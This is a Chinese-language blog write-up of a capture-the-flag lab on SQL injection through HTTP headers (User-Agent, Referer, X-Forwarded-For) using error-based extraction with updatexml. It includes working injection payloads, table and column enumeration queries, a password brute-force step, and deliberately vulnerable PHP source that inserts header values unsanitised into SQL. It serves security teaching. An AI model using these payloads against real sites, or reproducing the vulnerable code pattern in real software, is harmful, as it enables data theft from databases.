Header注入&&报错注入

发布于 2022-03-16  366 次阅读


首先先来了解一下什么是header注入???

header是http数据包中的请求头

header注入,是指利用后端验证客户端信息或者通过header中获取客户端的一些信息。因为这些信息会有一些数据被存放到数据库中,然后再从数据库中返回到前端页面,如果后端没有对相应信息进行一些处理,就会导致sql注入
header注入一般发生在用户登录的时候
image-20211130001515365

HEAD注入的使用场景

为什么网站要记录你的ip或者请求头,是为了方便你的二次登陆,区分你的登陆地址和设备等。[游客一般不会被记录,头注入一般都发生在正常登陆或者留言的地方比较多]

然后再了解一下什么是报错注入

报错注入是什么?

是利用将错误信息显示的函数(语句),构造payload,让注入的结果从错误信息中回显出来

学习一些报错注入常用的函数

  • concat() 连接字符串
  • floor() 向下取整 image-20211130002320818
  • rand() 产生0~1之间的随机浮点值
  • image-20211130002642244
  • updatexml(目标xml文档,xml路径,更新的内容) 是更新xml文档的函数。xml路径参数类型是xpath格式字符串(/xx/xx/),非法格式就会报错,并将非法格式内容返回。 image-20211130003352735
  • extractvalue(目标xml文档,xml路径) 是对XML文档进行查询的函数,extractvalu的第⼆个参数要求是xpath格式字符串,如果是非法格式就会报错,并将非法格式内容返回。 image-20211130004006317

靶场实操

0x00 Rank1

image-20211130072502102

首先爆破一个可以登录的账号

image-20211130073037078

这里直接对密码进行爆破,密码是123456

image-20211130073250535
image-20211130073744261

可以看到成功登录,对User-Agent头进行测试

这里可以先看一下UA头是如何进入数据库保存的

$Insql = "INSERT INTO uagent (`uagent`,`username`) VALUES ('$uagent','$uname')";

可以看到是这样插入语句,我们在第一个参数(UA头)那里进行注入

$Insql = "INSERT INTO uagent (`uagent`,`username`) VALUES ('$uagent' and updatexml(1,concat(0x7e,(select database())),1),123) -- qwe,'$uname')";
' and updatexml(1,concat(0x7e,(select database())),1),123) -- qwe
image-20211130084259800

可以看到注入成功!

然后就开始构造语句进行查询

' and updatexml(1,concat(0x7e,(select database())),1),123) -- qwe

select table_name from information_schema.tables where table_schema=database() limit 0,1

' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1)),1),123) -- qwe

image-20211130120028589这里注意一下:需要将UA头的值改为数字,可以看上图

修改limit就可以依次查询出表名

image-20211130120435513

有五个表,依次是flag_head、ip、refer、uagent、user。

显然flag应该在第一个表中,查看flag_head表中字段

image-20211130120800045

有两列,爆出是id和flag_h1

查看flag_h1字段

image-20211130121007621

源码分析

$username = $_POST['username'];
$password = $_POST['password'];
$uagent = $_SERVER['HTTP_USER_AGENT']; // 获取请求头中的UA头
$jc = $username.$password; 
$sql = 'select *from user where username =\''.$username.'\' and password=\''.$password.'\'';
if(preg_match('/.*\'.*/',$jc)!== 0){die('为了网站安全性,禁止输入某些特定符号');} // 对用户名和密码进行正则匹配,检验单引号
mysqli_select_db($conn,'****');//不想告诉你库名
$result = mysqli_query($conn,$sql);
$row = mysqli_fetch_array($result);
$uname = $row['username'];
$passwd = $row['password'];
if($row){
$Insql = "INSERT INTO uagent (`uagent`,`username`) VALUES ('$uagent','$uname')"; // 往数据库中插入UA头语句
$result1 = mysqli_query($conn,$Insql);
print_r(mysqli_error($conn)); 
echo '成功登录';    

0x01 Rank2

第二关是refer注入

核心代码

$username = $_POST['username'];
$password = $_POST['password'];
$uagent = $_SERVER['HTTP_REFERER']; //获取referer
$jc = $username.$password;
$sql = 'select *from user where username =\''.$username.'\' and password=\''.$password.'\'';
if(preg_match('/.*\'.*/',$jc)!== 0){die('为了网站安全性,禁止输入某些特定符号');}
mysqli_select_db($conn,'****');//不想告诉你库名
$result = mysqli_query($conn,$sql);
$row = mysqli_fetch_array($result);
$uname = $row['username'];
$passwd = $row['password'];
if($row){
$Insql = "INSERT INTO refer (`refer`,`username`) VALUES ('$uagent','$uname')"; 
$result1 = mysqli_query($conn,$Insql);
print_r(mysqli_error($conn));
echo '成功登录';

观察源码,可以发现只是header注入的参数是referer,其他与第一关并没有变化!

image-20211130122910577

如图所示,在这里注入,payload与第一关一模一样。

0x02 Rank3

第三关,是XFF注入

先来了解一下什么是XFF?简单来说就是在请求头中说明了IP的属性

image-20211130232229715

了解了之后,那就开始抓包看看,在抓包之前,咱们先传入一个XFF的值

image-20211130232739858

好的,开始抓包

image-20211130232827594

可以看到,请求头中有个XFF参数,这里就是注入的地方了

然后先测试一下可不可以注入,加个单引号尝试报错

image-20211130233144084

可以看到出现了报错,猜测存在sql注入,那为什么呢? 这里看一下源码

function getip() // 这个函数就是去获取用户的ip信息
{
    if (getenv('HTTP_CLIENT_IP'))
    {
        $ip = getenv('HTTP_CLIENT_IP'); 
    }
    elseif (getenv('HTTP_X_FORWARDED_FOR')) 
    { 
        $ip = getenv('HTTP_X_FORWARDED_FOR');
    }
    elseif (getenv('HTTP_X_FORWARDED')) 
    { 
        $ip = getenv('HTTP_X_FORWARDED');
    }
    elseif (getenv('HTTP_FORWARDED_FOR'))
    {
        $ip = getenv('HTTP_FORWARDED_FOR'); 
    }
    elseif (getenv('HTTP_FORWARDED'))
    {
        $ip = getenv('HTTP_FORWARDED');
    }
    else
    { 
        $ip = $_SERVER['REMOTE_ADDR'];
    }
    return $ip;
}
$username = $_POST['username'];
$password = $_POST['password'];
$ip = getip(); // 这里调用函数获取ip值
$jc = $username.$password;
$sql = 'select *from user where username =\''.$username.'\' and password=\''.$password.'\'';
if(preg_match('/.*\'.*/',$jc)!== 0){die('为了网站安全性,禁止输入某些特定符号');} // 正则匹配
mysqli_select_db($conn,'****');//不想告诉你库名
$result = mysqli_query($conn,$sql);
$row = mysqli_fetch_array($result);
$uname = $row['username'];
$passwd = $row['password'];
if($row){
$Insql = "INSERT INTO ip (`ip`,`username`) VALUES ('$ip','$uname')"; // 将IP放入数据库
$result1 = mysqli_query($conn,$Insql);
print_r(mysqli_error($conn));
echo '成功登录';
image-20211201080103884

可以看到,和其他头部注入差不多,只是换了一个注入的地点而已,了解清楚开始注入!

先查看一下当前数据库

image-20211201080847410

然后查看该数据库中的表,flag_head表

image-20211201081044346

然后查看列

image-20211201081143600
image-20211201081201395

找的我们想要的列,flag_h1,查看字段

image-20211201081406515

找到第三关的flag

总结一下

  • 这三关还是比较相似的,注入方式都是一样的,header注入&&报错注入
  • header注入的条件:网站将http请求头中的某些内容存入了数据库,并又从数据库中调出返回客户端,就可能存在sql注入 常见的head注入点
  • Referer
  • User-Agent
  • X-Forwarded-For
  • Cookie
  • client_ip
  • Accept-Language
  • Host
  • sql注入的原理:用户输入的数据可以被拼接到原有代码执行